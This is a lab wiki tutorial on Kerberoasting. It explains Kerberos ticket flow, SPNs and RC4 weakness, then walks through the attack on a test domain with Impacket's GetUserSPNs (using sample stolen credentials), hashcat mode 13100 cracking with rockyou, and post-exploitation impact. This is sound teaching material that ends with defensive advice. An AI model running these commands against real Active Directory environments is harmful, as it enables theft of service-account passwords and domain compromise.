Kerberoasting

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search

Introduction

Microsoft's Active Directory is the backbone of an Identity and Access Management (IAM) service, responsible for managing users, computers, roles and policies across an organistaion. This Article describes Kerberoasting, an attack technique that targets the Kerberos authentication protocol on the Domain Controller. To understand how Kerberoasting works, a short context is provided covering the key components: the Kerberos Protocol, the Key Distribution Center (KDC), Service Principal Names (SPNs), and the cryptographic weakness introduced by legacy RC4 encryption.

Identity and Access Management (IAM) Components

Kerberos Protocol

Kerberos is the primary authentication Protocol used in Active Directory, which was introduced in 2000 as a replacement for the older and weaker NTLM protocol. It is based on the Kerberos Version 5 standart (RFC 4120) and operates on port 88. The idea behind Kerberos is, that users never send their passwords over the network, instead, they prove their identity using encrypted tickets issued by a trusted third party. This ticket based authentication enables Single Sign On (SSO), a user authenticates once at login and receives tickets that grant access to multiple services without re-entering the credentials.

The Kerberos authentication process revolves around three parties:

  • The Client, who must be a domain user
  • The Key Distribution Center (KDC), the trusted authority that issued tickets running on the Domain Controller
  • The Service, the resource the user wants to access (e.g. file share, SQL Server, web application etc.)

Key Distribution Center - KDC

KDC runs directly on the Domain Controller and consists of two components:

  • Authentication Service (AS), which handles the initial login, verifies the user's identity, and also issues a Ticket Granting Ticket (TGT)
  • Ticket Granting Service (TGS), which handles service access requests, accepts valid TGT and issues the Service Ticket (TGS) for a specific service.

It never sends passwords over the network, all communication is encrypted using password hashed stored in the NTDS.dit.

Ticket Flow

  1. AS_REQ (Authentication Service Request): the user sends a request to the KDC containing the username, their passwords NTLM hash and a timestamp encrypted proving their identity.
  2. AS_REP (Authentication Service Response): The KDC verifies the timestamp, and if it is valid, responds with a Ticket Granting Ticket (TGT).
  3. TGS_REQ (Ticket Granting Service Request): when the user wants to access a specific service, it presents the TGT to the KDC with the name of the target service (identified by the SPN) and requests a Ticket Granting Service Ticket (TGS).
  4. TGS_REP (Ticket Granting Service Response): the KDC issues a Service Ticket (TGS), encrypted with the NT hash of the service account that owns the requested SPN, than the user receives the ticket, but can not decrypt it.
  5. AP_REQ (Application Request): the user presents the TGS directly to the service, then the target service decrypts it using its own password hash, verifies the validity and grants access.

Service Principal Names (SPNs)

A Service Principal Name (SPN) is a unique identifier that associates a specific service with the account running it. In Active Directory every authenticated domain user can query AD for all registered SPNs.

RC4 vs. AES

Kerberos supports multiple encryption types for ticket encryption. The two relevant ones are:

  • RC4-HMAC (etype 23): the legacy encryption type, which uses the account's raw NT hash (MD4, unsalted) directly as the encryption key.
  • AES-128 / AES-256 (etype 17/18): modern, strong encryption types, with proper key derivation function making the offline cracking significantly harder.

RC4 is still enabled by default in Active Directory for backward compatibility, and when a Service Ticket is encrypted with RC4, the encryption key is simply the service account's NT hash, which means an attacker who obtains the ticket can very easily crack it offline.

Kerberoasting

Kerberoasting is an attack technique against Active Directory, which targets the service accounts that have a Service Principal Name (SPN) registered. Any authenticated domain user can request a TGS Ticket and for any SPN. If valid domain user credentials are obtained, a TGS can be requested for any service, and since the ticket is encrypted with the NT hash of the service account's password, an attacker can take the ticket offline and "easily" crack it with tools like Hashcat. If the service account has a weak password, it is very likely that the attack will succeed. This attack is very effective because no special priviledges are needed, any domain user can request TGS Tickets, it also generates no suspicious network traffic, since requesting service tickets is normal Kerberos behaviour. Additionally, because the cracking happens entirely offline, no alerts are generated.

Requirements

  • Attacker Machine (Kali Linux)
  • Target System: Windows Server running Active Directory Domain Services (AD DS) with a configured Domain Controller (DC)
  • Registered SPN: at least one service account with a Service Principal Name (SPN) registered in Active Directory
  • Valid domain user credentials (no special privileges are required)
  • Tools like Impacket and Hashcat

Tools

  • Impacket
    • Version used: 0.14.0.dev0
    • open-source Python library
    • relevant script is GetUserSPNs.py which allows an attacker to enumerate service accounts with registered SPNs and request their TGS tickets directly from the Domain Controller
  • Hashcat
    • Version used: 7.1.2
    • open-source password recovery tool
    • highly relies on GPU
    • Hashcat takes the captured ticket and attempts to brute-force the password by repeatedly hashing candidates and comparing them against the ticket encryption
  • Ntpsec-ntpdate
    • Version used: 1.2.4+dfsg-1
    • Kerberos is very time sensitive, if there is any time mismatch between the attacker machineand the Domain Controllers any enumeration will be unsuccessful (KRB_AP_ERR_SKEW)
    • This tool is used to synchronise the attacker machines local time to the Domain Controllers
Kerberos authentication failure caused by time desynchronisation (KRB_AP_ERR_SKEW)


Exploitation

We assume that the reconnaissance phase was already carried out (e.g. Nmap) and one authenticated user domain credential was also already stolen (e.g. through LLMNR Poisoning).

Synchronise time

sudo apt install ntpsec-ntpdate
sudo ntpdate <domain-controllers-ip>
sudo ntpdate 192.168.100.1
Synchronising the attacker's system time with the Domain Controller


SPN enumeration

sudo impacket-GetUserSPNs <domain/user:password> -dc-ip <domain-controllers-ip> -request
sudo impacket-GetUserSPNs MOD.local/hr1:Summer2026! -dc-ip 192.168.100.1 -request
SPN enumeration and TGS request using Impacket's GetUserSPNs.py


Save the SPN hash into a .txt file

sudo nano spnhash.txt
Extracted Kerberos TGS hash prepared for offline cracking


Offline cracking with Hashcat

hashcat -m <hash-mode> <hash-file> <wordlist-file-and-the-path>
hashcat -m 13100 spnhash.txt /usr/share/wordlists/rockyou.txt
Successful offline password cracking


Post-Exploitation

If the password of a service account is recovered, the attacker can authenticate as that account and access the services and resources it manages. Depending on the account's privileges, this may enable lateral movement, access to sensitive data, or even privilege escalation within the domain. Service accounts with administrative rights pose a particularly high risk, as compromising them can lead to full domain compromise.

Conclusion

Kerberoasting demonstrates how weak service account passwords can undermine the security of an Active Directory environment. Since service tickets can be requested by any authenticated domain user and cracked offline without generating alerts, strong and regularly rotated passwords are essential. Additionally, reducing unnecessary service account privileges can significantly decrease the attack surface.

Sources